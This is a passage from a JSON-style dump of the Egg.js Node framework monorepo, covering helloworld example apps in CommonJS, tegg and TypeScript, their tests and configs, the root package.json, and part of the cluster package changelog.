https://github.com/eggjs/examples/blob/master/helloworld/package.json\n  packageJsonPath = join(projectDir, 'examples', 'helloworld', 'package.json');\n  await patchPackageJSON(packageJsonPath, overrides);\n}\n\nasync function main(): Promise<void> {\n  const overrides = await buildOverrides();\n\n  switch (project) {\n    case 'cnpmcore':\n      await patchCnpmcore(overrides);\n      break;\n    case 'examples':\n      await patchExamples(overrides);\n      break;\n    default:\n      console.error(`Project ${project} is not supported`);\n      process.exit(1);\n  }\n}\n\nmain();\n"
  },
  {
    "path": "ecosystem-ci/repo.json",
    "content": "{\n  \"cnpmcore\": {\n    \"repository\": \"https://github.com/cnpm/cnpmcore.git\",\n    \"branch\": \"master\",\n    \"hash\": \"e82df3f4093c0ec9fd5354563605e60f7f613035\"\n  },\n  \"examples\": {\n    \"repository\": \"https://github.com/eggjs/examples.git\",\n    \"branch\": \"master\",\n    \"hash\": \"9191a92e5ec0712a2e4864e999b7db1874fe8ca3\"\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-commonjs/app/controller/home.js",
    "content": "exports.index = async function index(ctx) {\n  ctx.body = 'hello egg';\n};\n"
  },
  {
    "path": "examples/helloworld-commonjs/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "examples/helloworld-commonjs/config/config.default.js",
    "content": "exports.keys = 'hello world';\n"
  },
  {
    "path": "examples/helloworld-commonjs/config/plugin.js",
    "content": "exports.schedule = {\n  enable: false,\n};\n\nexports.logrotator = false;\n"
  },
  {
    "path": "examples/helloworld-commonjs/index.js",
    "content": "const { once } = require('node:events');\nconst { Application } = require('../../dist/commonjs/index');\n\nconst app = new Application({\n  baseDir: process.cwd(),\n  mode: 'single',\n});\n\nasync function main() {\n  await app.ready();\n  console.log('egg app ready');\n\n  const server = app.listen(7001);\n  await once(server, 'listening');\n  console.log(`egg app server listening at http://localhost:${server.address().port}`);\n}\n\nmain().catch(console.error);\n"
  },
  {
    "path": "examples/helloworld-commonjs/package.json",
    "content": "{\n  \"name\": \"helloworld-commonjs\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"Hello World example using CommonJS\",\n  \"type\": \"commonjs\",\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\",\n    \"debug\": \"egg-bin debug\",\n    \"ci\": \"pnpm run lint && pnpm run cov\",\n    \"start\": \"egg-scripts start --daemon\",\n    \"stop\": \"egg-scripts stop\"\n  },\n  \"dependencies\": {\n    \"egg\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"workspace:*\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/biz/Foo.ts",
    "content": "import { SingletonProto, Inject, EggAppConfig, HttpClient, AccessLevel } from 'egg';\n\nimport { HelloService } from './HelloService.ts';\nimport { WorldService } from './WorldService.ts';\n\n@SingletonProto({\n  accessLevel: AccessLevel.PUBLIC,\n})\nexport class Foo {\n  @Inject()\n  config: EggAppConfig;\n\n  @Inject()\n  httpClient: HttpClient;\n\n  @Inject()\n  helloService: HelloService;\n\n  @Inject({ name: 'helloService' })\n  aliasHelloService: HelloService; // equals to helloService\n\n  @Inject({ name: 'worldInterface' })\n  worldService: WorldService;\n\n  async bar() {\n    console.log('current env is %s', this.config.env);\n    return `${await this.helloService.hello()}, ${await this.worldService.world()}`;\n    // return 'hello, bar!';\n  }\n\n  async fetch() {\n    // use official registry in CI (GitHub Actions) to avoid npmmirror flakiness\n    const registry = process.env.GITHUB_ACTIONS ? 'https://registry.npmjs.com' : 'https://registry.npmmirror.com';\n    const result = await this.httpClient.request(`${registry}/egg/beta`, {\n      dataType: 'json',\n    });\n    return result.data;\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/biz/HelloService.ts",
    "content": "import { SingletonProto } from 'egg';\n\n@SingletonProto()\nexport class HelloService {\n  async hello(): Promise<string> {\n    return 'hello';\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/biz/WorldService.ts",
    "content": "import { SingletonProto } from 'egg';\n\n@SingletonProto({\n  name: 'worldInterface',\n})\nexport class WorldService {\n  async world(): Promise<string> {\n    return 'world!';\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/biz/package.json",
    "content": "{\n  \"name\": \"app-biz\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"appBiz\"\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/controller/ArgsController.ts",
    "content": "import { HTTPBody, HTTPController, HTTPMethod, HTTPMethodEnum, HTTPRequest } from 'egg';\n\n@HTTPController()\nexport default class ArgsController {\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/args/request' })\n  async getRequest(@HTTPRequest() request: Request) {\n    const headerData = request.headers.get('x-header-key');\n    // Get request body arrayBuffer\n    const arrayBufferData = await request.arrayBuffer();\n    // ...\n    return {\n      headerData,\n      arrayBufferDataString: new TextDecoder().decode(arrayBufferData),\n    };\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.POST, path: '/api/args/request2' })\n  async getRequest2(@HTTPBody() body: object, @HTTPRequest() request: Request) {\n    // Injecting both HTTPBody and Request, reading header, url, etc. through request works normally\n    const headerData = request.headers.get('x-header-key');\n    // const url = request.url;\n    // ❌ Wrong example\n    // When the request body has already been injected through HTTPBody\n    // Consuming the request body again through request will throw an exception\n    const arrayBufferData = await request.arrayBuffer();\n    console.log(arrayBufferData, body, new TextDecoder().decode(arrayBufferData));\n    // ...\n    return {\n      headerData,\n      body,\n      arrayBufferDataString: new TextDecoder().decode(arrayBufferData),\n    };\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/controller/HomeController.ts",
    "content": "import { HTTPController, HTTPMethod, HTTPMethodEnum } from 'egg';\n\n@HTTPController()\nexport default class HomeController {\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/' })\n  async index() {\n    return {\n      message: 'hello, Egg.js!',\n    };\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/controller/SimpleController.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport { Tracer } from '@eggjs/tracer';\nimport {\n  HTTPController,\n  HTTPHeaders,\n  HTTPMethod,\n  HTTPMethodEnum,\n  HTTPParam,\n  HTTPRequest,\n  HTTPCookies,\n  Cookies,\n  HTTPContext,\n  Context,\n  IncomingHttpHeaders,\n  Logger,\n  Inject,\n} from 'egg';\n\nimport { Foo } from '../../biz/Foo.ts';\n@HTTPController()\nexport default class SimpleController {\n  @Inject()\n  private logger: Logger;\n\n  @Inject()\n  private foo: Foo;\n\n  @Inject()\n  private tracer: Tracer;\n\n  // declare a `GET /api/hello/:name` interface\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/hello/:name' })\n  async hello(@HTTPParam() name: string) {\n    return {\n      message: `hello ${name}`,\n    };\n  }\n\n  // curl http://localhost:7001/api/hello -H 'X-Custom: custom'\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/headers' })\n  async getHeaders(@HTTPHeaders() headers: IncomingHttpHeaders) {\n    const custom = headers['x-custom'];\n    this.logger.info('request headers: %j', headers);\n    return {\n      message: `hello ${custom}`,\n    };\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/request' })\n  async getRequest(@HTTPRequest() request: Request, @HTTPCookies() cookies: Cookies) {\n    return {\n      message: `hello ${request.method} ${request.url}`,\n      cookies: cookies.get('test', { signed: false }),\n    };\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/context' })\n  async getContext(@HTTPContext() ctx: Context) {\n    return {\n      message: `hello ${ctx.request.method} ${ctx.request.url}`,\n    };\n  }\n\n  @HTTPMethod({ method: HTTPMethodEnum.GET, path: '/api/foo' })\n  async getFoo(@HTTPContext() ctx: Context) {\n    this.logger.info('traceId: %s', ctx.traceId);\n    this.logger.info('tracer: %s', ctx.tracer.traceId);\n    this.logger.info('tracer: %s', this.tracer.traceId);\n    assert.equal(ctx.traceId, this.tracer.traceId);\n    assert.equal(ctx.tracer, this.tracer);\n    return {\n      message: `hello, bar: ${await this.foo.bar()}`,\n      data: await this.foo.fetch(),\n    };\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/package.json",
    "content": "{\n  \"name\": \"app-port\",\n  \"type\": \"module\",\n  \"eggModule\": {\n    \"name\": \"appPort\"\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/schedule/CronDemo.ts",
    "content": "import { Inject, Logger } from 'egg';\nimport { CronParams, Schedule, ScheduleType } from 'egg/schedule';\n\n@Schedule<CronParams>(\n  {\n    type: ScheduleType.WORKER,\n    scheduleData: {\n      // cron: '0 0 3 * * *',\n      cron: '*/5 * * * * *',\n      cronOptions: {\n        tz: 'Asia/Shanghai',\n      },\n    },\n  },\n  {\n    immediate: true,\n    // disable: true,\n    // env: ['local', 'unittest'],\n  },\n)\nexport class CronSubscriber {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('cron schedule called');\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app/port/schedule/Demo.ts",
    "content": "import { Inject, Logger } from 'egg';\nimport { IntervalParams, Schedule, ScheduleType } from 'egg/schedule'; // 每 1000ms 执行一次\n\n@Schedule<IntervalParams>({\n  type: ScheduleType.WORKER,\n  scheduleData: {\n    interval: 1000,\n  },\n  // interval: '5s', // 每 5s 执行一次\n})\nexport class IntervalScheduler {\n  @Inject()\n  private logger: Logger;\n\n  async subscribe() {\n    this.logger.info('schedule called');\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    console.trace('didLoad %o', this.app.type);\n    // Ready to call configDidLoad,\n    // Config, plugin files are referred,\n    // this is the last chance to modify the config.\n    // throw new Error('Method not implemented.');\n  }\n\n  async willReady() {\n    // All plugins have started, can do some thing before app ready\n  }\n\n  async didReady() {\n    // Worker is ready, can do some things\n    // don't need to block the app boot process\n  }\n\n  async serverDidReady() {\n    // Server is listening.\n  }\n\n  async beforeClose() {\n    // Do some thing before app close.\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/config/config.default.ts",
    "content": "import { defineConfig, type PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = defineConfig({\n  keys: '123456',\n});\n\nexport default config;\n"
  },
  {
    "path": "examples/helloworld-tegg/config/plugin.ts",
    "content": "import tracerPlugin from '@eggjs/tracer';\n\nexport default {\n  ...tracerPlugin(),\n};\n"
  },
  {
    "path": "examples/helloworld-tegg/package.json",
    "content": "{\n  \"name\": \"helloworld-tegg\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"Hello World example using tegg\",\n  \"type\": \"module\",\n  \"exports\": {\n    \"./app\": \"./app.ts\",\n    \"./app/biz/Foo\": \"./app/biz/Foo.ts\",\n    \"./app/biz/HelloService\": \"./app/biz/HelloService.ts\",\n    \"./app/biz/WorldService\": \"./app/biz/WorldService.ts\",\n    \"./app/port/controller/ArgsController\": \"./app/port/controller/ArgsController.ts\",\n    \"./app/port/controller/HomeController\": \"./app/port/controller/HomeController.ts\",\n    \"./app/port/controller/SimpleController\": \"./app/port/controller/SimpleController.ts\",\n    \"./app/port/schedule/CronDemo\": \"./app/port/schedule/CronDemo.ts\",\n    \"./app/port/schedule/Demo\": \"./app/port/schedule/Demo.ts\",\n    \"./config/config.default\": \"./config/config.default.ts\",\n    \"./config/plugin\": \"./config/plugin.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"exports\": {\n      \"./app\": \"./dist/app.js\",\n      \"./app/biz/Foo\": \"./dist/app/biz/Foo.js\",\n      \"./app/biz/HelloService\": \"./dist/app/biz/HelloService.js\",\n      \"./app/biz/WorldService\": \"./dist/app/biz/WorldService.js\",\n      \"./app/port/controller/ArgsController\": \"./dist/app/port/controller/ArgsController.js\",\n      \"./app/port/controller/HomeController\": \"./dist/app/port/controller/HomeController.js\",\n      \"./app/port/controller/SimpleController\": \"./dist/app/port/controller/SimpleController.js\",\n      \"./app/port/schedule/CronDemo\": \"./dist/app/port/schedule/CronDemo.js\",\n      \"./app/port/schedule/Demo\": \"./dist/app/port/schedule/Demo.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./config/plugin\": \"./dist/config/plugin.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\",\n    \"debug\": \"egg-bin debug\",\n    \"test\": \"vitest run\",\n    \"cov\": \"vitest run --coverage\",\n    \"lint\": \"eslint . --ext .ts\",\n    \"ci\": \"pnpm run lint && pnpm run cov\",\n    \"prepublishOnly\": \"pnpm run build\",\n    \"start\": \"egg-scripts start --daemon\",\n    \"stop\": \"egg-scripts stop\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"build\": \"tsdown\"\n  },\n  \"dependencies\": {\n    \"@eggjs/scripts\": \"workspace:\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"tsdown\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/test/ArgsController.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { expect, test } from 'vitest';\n\ntest('should POST /api/args/request success', async () => {\n  app.mockCsrf();\n  const res = await app.httpRequest().post('/api/args/request').send({\n    name: 'foo',\n    desc: 'mock-desc 🥚🥚🥚',\n  });\n  expect(res.status).toBe(200);\n  // console.log(res.body);\n  expect(res.body).toEqual({\n    headerData: null,\n    arrayBufferDataString: '{\"name\":\"foo\",\"desc\":\"mock-desc 🥚🥚🥚\"}',\n  });\n});\n\ntest('should POST /api/args/request2 error', async () => {\n  app.mockCsrf();\n  const res = await app.httpRequest().post('/api/args/request2').send({\n    name: 'foo',\n    desc: 'mock-desc 🥚🥚🥚',\n  });\n  expect(res.status).toBe(200);\n  console.log(res.body);\n  expect(res.body).toEqual({\n    headerData: null,\n    body: {\n      name: 'foo',\n      desc: 'mock-desc 🥚🥚🥚',\n    },\n    arrayBufferDataString: '{\"name\":\"foo\",\"desc\":\"mock-desc 🥚🥚🥚\"}',\n  });\n});\n"
  },
  {
    "path": "examples/helloworld-tegg/test/SimpleController.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { expect, test } from 'vitest';\n\ntest('should GET /api/headers with headers', async () => {\n  await app.httpRequest().get('/api/headers').set('X-Custom', 'custom').expect(200).expect({\n    message: `hello custom`,\n  });\n});\n\ntest('should GET /api/hello/:name', async () => {\n  await app.httpRequest().get('/api/hello/world').expect(200).expect({\n    message: `hello world`,\n  });\n});\n\ntest('should GET /api/foo', async () => {\n  const res = await app.httpRequest().get('/api/foo').expect(200);\n  console.log(res.body.data.version, res.body.data.description);\n  expect(res.body.message).toBe('hello, bar: hello, world!');\n  expect(res.body.data).toBeDefined();\n  expect(res.body.data.name).toBe('egg');\n  expect(res.body.data.version).toMatch(/^\\d+\\.\\d+\\.\\d+/);\n});\n"
  },
  {
    "path": "examples/helloworld-tegg/test/setup.ts",
    "content": "import { beforeAll, afterAll } from 'vitest';\n\n// https://vitest.dev/config/#setupfiles\n// export beforeAll and afterAll to globalThis, let @eggjs/mock/bootstrap use it\nObject.assign(globalThis, { beforeAll, afterAll });\n"
  },
  {
    "path": "examples/helloworld-tegg/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "examples/helloworld-tegg/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: ['app.ts', 'config/**/*.ts', 'app/**/*.ts'],\n  unbundle: true,\n  dts: true,\n  exports: {\n    devExports: true,\n  },\n  fixedExtension: false,\n});\n"
  },
  {
    "path": "examples/helloworld-tegg/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    include: ['test/**/*.test.ts'],\n    setupFiles: ['./test/setup.ts'],\n  },\n});\n"
  },
  {
    "path": "examples/helloworld-typescript/app/controller/home.ts",
    "content": "import { Controller } from 'egg';\n\nexport default class HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'Hello EggJS 🥚🥚🥚🥚';\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-typescript/app/middleware/hello.ts",
    "content": "import type { MiddlewareFunc } from 'egg';\n\nexport const hello: MiddlewareFunc = async (ctx, next) => {\n  ctx.body = 'Hello World!';\n  console.log(ctx.app.type, ctx.app.server, ctx.app.ctxStorage.getStore()?.performanceStarttime);\n  console.log(ctx.performanceStarttime);\n  const res = await ctx.curl('https://eggjs.org');\n  console.log(res.status);\n\n  // egg watcher\n  // console.log('egg watcher', ctx.app.watcher);\n  await next();\n};\n"
  },
  {
    "path": "examples/helloworld-typescript/app/router.ts",
    "content": "import type { Application } from 'egg';\n\nexport default (app: Application) => {\n  app.get('/', 'home.index');\n};\n"
  },
  {
    "path": "examples/helloworld-typescript/app.ts",
    "content": "import type { ILifecycleBoot, Application } from 'egg';\n\nexport default class AppBootHook implements ILifecycleBoot {\n  private readonly app;\n\n  constructor(app: Application) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    console.trace('didLoad %o', this.app.type);\n    // Ready to call configDidLoad,\n    // Config, plugin files are referred,\n    // this is the last chance to modify the config.\n    // throw new Error('Method not implemented.');\n  }\n\n  async willReady() {\n    // All plugins have started, can do some thing before app ready\n  }\n\n  async didReady() {\n    // Worker is ready, can do some things\n    // don't need to block the app boot process\n  }\n\n  async serverDidReady() {\n    // Server is listening.\n  }\n\n  async beforeClose() {\n    // Do some thing before app close.\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-typescript/config/config.default.ts",
    "content": "import { type PartialEggConfig } from 'egg';\n\nconst config: PartialEggConfig = {\n  keys: '123456',\n};\n\nexport default config;\n"
  },
  {
    "path": "examples/helloworld-typescript/package.json",
    "content": "{\n  \"name\": \"helloworld-typescript\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"description\": \"Hello World example using TypeScript\",\n  \"type\": \"module\",\n  \"exports\": {\n    \"./app\": \"./app.ts\",\n    \"./app/controller/home\": \"./app/controller/home.ts\",\n    \"./app/middleware/hello\": \"./app/middleware/hello.ts\",\n    \"./app/router\": \"./app/router.ts\",\n    \"./config/config.default\": \"./config/config.default.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"exports\": {\n      \"./app\": \"./dist/app.js\",\n      \"./app/controller/home\": \"./dist/app/controller/home.js\",\n      \"./app/middleware/hello\": \"./dist/app/middleware/hello.js\",\n      \"./app/router\": \"./dist/app/router.js\",\n      \"./config/config.default\": \"./dist/config/config.default.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\",\n    \"debug\": \"egg-bin debug\",\n    \"test\": \"vitest run\",\n    \"cov\": \"vitest run --coverage\",\n    \"lint\": \"eslint . --ext .ts\",\n    \"ci\": \"pnpm run lint && pnpm run cov\",\n    \"prepublishOnly\": \"pnpm run build\",\n    \"start\": \"egg-scripts start --daemon\",\n    \"stop\": \"egg-scripts stop\",\n    \"typecheck\": \"tsgo --noEmit\",\n    \"build\": \"tsdown\"\n  },\n  \"dependencies\": {\n    \"@eggjs/scripts\": \"workspace:\",\n    \"@eggjs/tracer\": \"workspace:*\",\n    \"egg\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"workspace:*\",\n    \"@eggjs/mock\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"tsdown\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"egg\": {\n    \"typescript\": true\n  }\n}\n"
  },
  {
    "path": "examples/helloworld-typescript/test/hello.test.ts",
    "content": "import { app } from '@eggjs/mock/bootstrap';\nimport { test } from 'vitest';\n\ntest('should GET /', async () => {\n  await app.httpRequest().get('/').expect(200).expect('Hello EggJS 🥚🥚🥚🥚');\n});\n"
  },
  {
    "path": "examples/helloworld-typescript/test/setup.ts",
    "content": "import { beforeAll, afterAll } from 'vitest';\n\n// https://vitest.dev/config/#setupfiles\n// export beforeAll and afterAll to globalThis, let @eggjs/mock/bootstrap use it\nObject.assign(globalThis, { beforeAll, afterAll });\n"
  },
  {
    "path": "examples/helloworld-typescript/tsconfig.json",
    "content": "{\n  \"extends\": \"@eggjs/tsconfig\"\n}\n"
  },
  {
    "path": "examples/helloworld-typescript/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: ['app.ts', 'config/**/*.ts', 'app/**/*.ts'],\n  unbundle: true,\n  dts: true,\n  exports: {\n    devExports: true,\n  },\n  fixedExtension: false,\n});\n"
  },
  {
    "path": "examples/helloworld-typescript/vitest.config.ts",
    "content": "import { defineProject } from 'vitest/config';\n\nexport default defineProject({\n  test: {\n    include: ['test/**/*.test.ts'],\n    setupFiles: ['./test/setup.ts'],\n  },\n});\n"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"@eggjs/monorepo\",\n  \"version\": \"4.1.2-beta.5\",\n  \"private\": true,\n  \"description\": \"Eggjs framework monorepo\",\n  \"license\": \"MIT\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\"\n  },\n  \"files\": [\n    \"README.md\"\n  ],\n  \"type\": \"module\",\n  \"scripts\": {\n    \"clean-dist\": \"pnpm -r --parallel exec rimraf dist\",\n    \"clean\": \"pnpm -r --parallel run clean && pnpm clean-dist\",\n    \"build\": \"tsdown\",\n    \"prelint\": \"pnpm clean-dist\",\n    \"lint\": \"oxlint --type-aware --type-check --quiet\",\n    \"fmt\": \"oxfmt\",\n    \"typecheck\": \"pnpm clean && pnpm -r run typecheck\",\n    \"fmtcheck\": \"oxfmt --check .\",\n    \"pretest\": \"pnpm run clean && pnpm -r run pretest\",\n    \"test\": \"vitest run --bail 1 --retry 2 --testTimeout 20000 --hookTimeout 20000\",\n    \"test:cov\": \"pnpm run test --coverage\",\n    \"preci\": \"pnpm -r --parallel run pretest\",\n    \"ci\": \"pnpm run test --coverage\",\n    \"site:dev\": \"pnpm --filter=site run dev\",\n    \"site:build\": \"pnpm --filter=site run build\",\n    \"puml\": \"puml . --dest ./site\",\n    \"example:dev:commonjs\": \"pnpm --filter=helloworld-commonjs run dev\",\n    \"example:dev:typescript\": \"pnpm --filter=helloworld-typescript run dev\",\n    \"example:dev:tegg\": \"pnpm --filter=helloworld-tegg run dev\",\n    \"example:test:all\": \"pnpm --filter=helloworld-* run test\",\n    \"prepare\": \"husky\",\n    \"version:patch\": \"node scripts/version.js patch\",\n    \"version:minor\": \"node scripts/version.js minor\",\n    \"version:major\": \"node scripts/version.js major\",\n    \"version:prerelease\": \"node scripts/version.js prerelease\",\n    \"version:prepatch\": \"node scripts/version.js prepatch\",\n    \"version:preminor\": \"node scripts/version.js preminor\",\n    \"version:premajor\": \"node scripts/version.js premajor\",\n    \"version:alpha\": \"node scripts/version.js prerelease --prerelease-tag=alpha\",\n    \"version:beta\": \"node scripts/version.js prerelease --prerelease-tag=beta\",\n    \"version:rc\": \"node scripts/version.js prerelease --prerelease-tag=rc\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/bin\": \"workspace:*\",\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/js-yaml\": \"catalog:\",\n    \"@types/node\": \"catalog:\",\n    \"@typescript/native-preview\": \"catalog:\",\n    \"@vitest/coverage-v8\": \"catalog:\",\n    \"@vitest/ui\": \"catalog:\",\n    \"c8\": \"catalog:\",\n    \"husky\": \"catalog:\",\n    \"js-yaml\": \"catalog:\",\n    \"lint-staged\": \"catalog:\",\n    \"mocha\": \"catalog:\",\n    \"oxfmt\": \"catalog:\",\n    \"oxlint\": \"catalog:\",\n    \"oxlint-tsgolint\": \"catalog:\",\n    \"publint\": \"catalog:\",\n    \"rimraf\": \"catalog:\",\n    \"semver\": \"catalog:\",\n    \"tsdown\": \"catalog:\",\n    \"tsx\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"urllib\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"lint-staged\": {\n    \"*\": [\n      \"oxfmt --no-error-on-unmatched-pattern\",\n      \"oxlint --type-aware --fix\"\n    ]\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  },\n  \"packageManager\": \"pnpm@10.28.0\"\n}\n"
  },
  {
    "path": "packages/cluster/.gitignore",
    "content": "/node_modules\ncoverage\n.logs\nlogs\nrun\n.tmp\n*.log\n.vscode\n.nyc_output\npackage-lock.json\n.package-lock.json\n.tshy*\n.eslintcache\ndist\ncoverage\n!test/fixtures/apps/framework-pkg-egg/node_modules"
  },
  {
    "path": "packages/cluster/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [3.0.1](https://github.com/eggjs/cluster/compare/v3.0.0...v3.0.1) (2024-12-30)\n\n\n### Bug Fixes\n\n* require support paths ([#118](https://github.com/eggjs/cluster/issues/118)) ([b74872c](https://github.com/eggjs/cluster/commit/b74872c1625e7a6c3ee58a3cc468fdae43a9b000))\n\n## [3.0.0](https://github.com/eggjs/cluster/compare/v2.4.0...v3.0.0) (2024-12-28)\n\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 18.19.0 support\n\npart of https://github.com/eggjs/egg/issues/3644\n\n<!-- This is an auto-generated comment: release notes by coderabbit.ai\n-->\n## Summary by CodeRabbit\n\n## Release Notes for @eggjs/cluster v3.0.0-beta.4\n\n- **New Features**\n  - Migrated project to TypeScript.\n  - Added support for Node.js 18.19.0, 20, 22, and 23.\n  - Enhanced type safety and module exports.\n  - Improved worker thread and process management.\n  - Introduced new error handling classes for better debugging.\n\n- **Breaking Changes**\n  - Renamed package from `egg-cluster` to `@eggjs/cluster`.\n  - Updated import/export syntax to ES modules.\n  - Minimum Node.js version is now 18.19.0.\n\n- **Performance Improvements**\n  - Refactored cluster and worker management.\n  - Optimized error handling and logging.\n\n- **Bug Fixes**\n  - Resolved various edge cases in worker initialization.\n  - Improved graceful shutdown mechanisms.\n\n- **Documentation**\n  - Updated README with new package name and usage examples.\n  - Added TypeScript and ESM import examples.\n<!-- end of auto-generated comment: release notes by coderabbit.ai -->\n\n### Features\n\n* support cjs and esm both by tshy ([#117](https://github.com/eggjs/cluster/issues/117)) ([e15a4bf](https://github.com/eggjs/cluster/commit/e15a4bf45682609f9362eef485e9fc87d916d2a0))\n\n## [2.4.0](https://github.com/eggjs/egg-cluster/compare/v2.3.0...v2.4.0) (2024-12-09)\n\n\n### Features\n\n* use detect-port v2 ([#116](https://github.com/eggjs/egg-cluster/issues/116)) ([8480a40](https://github.com/eggjs/egg-cluster/commit/8480a403f6778ae70af7ad2ce7f4bfac5b565828))\n\n## [2.3.0](https://github.com/eggjs/egg-cluster/compare/v2.2.1...v2.3.0) (2024-06-03)\n\n\n### Features\n\n* remove semver and depd ([#113](https://github.com/eggjs/egg-cluster/issues/113)) ([789a1cd](https://github.com/eggjs/egg-cluster/commit/789a1cd3f1f058fa0112e491f5c2259534cc7bbb))\n\n## [2.2.1](https://github.com/eggjs/egg-cluster/compare/v2.2.0...v2.2.1) (2023-12-08)\n\n\n### Bug Fixes\n\n* worker does not get SIGTERM signal from master when close ([#111](https://github.com/eggjs/egg-cluster/issues/111)) ([211c143](https://github.com/eggjs/egg-cluster/commit/211c143c7a679c0049573742dd9e3691188857eb))\n\n## [2.2.0](https://github.com/eggjs/egg-cluster/compare/v2.1.1...v2.2.0) (2023-06-27)\n\n\n### Features\n\n* add debugPort to allow listen both https and http protocol ([#109](https://github.com/eggjs/egg-cluster/issues/109)) ([74cbb35](https://github.com/eggjs/egg-cluster/commit/74cbb35a8890cdf069f2a98aab288d9804419c70))\n\n## [2.1.1](https://github.com/eggjs/egg-cluster/compare/v2.1.0...v2.1.1) (2023-06-06)\n\n\n### Bug Fixes\n\n* worker_threads start auto add port when server.address() return null ([#108](https://github.com/eggjs/egg-cluster/issues/108)) ([62d6d0b](https://github.com/eggjs/egg-cluster/commit/62d6d0bada98c5976481b0bd366afabc8245c6ff))\n\n## [2.1.0](https://github.com/eggjs/egg-cluster/compare/v2.0.1...v2.1.0) (2023-05-31)\n\n\n### Features\n\n* custom env by options.env ([#107](https://github.com/eggjs/egg-cluster/issues/107)) ([4b11bf9](https://github.com/eggjs/egg-cluster/commit/4b11bf9e7117f5bd5e69985d8185cfa509256ae4))\n\n## 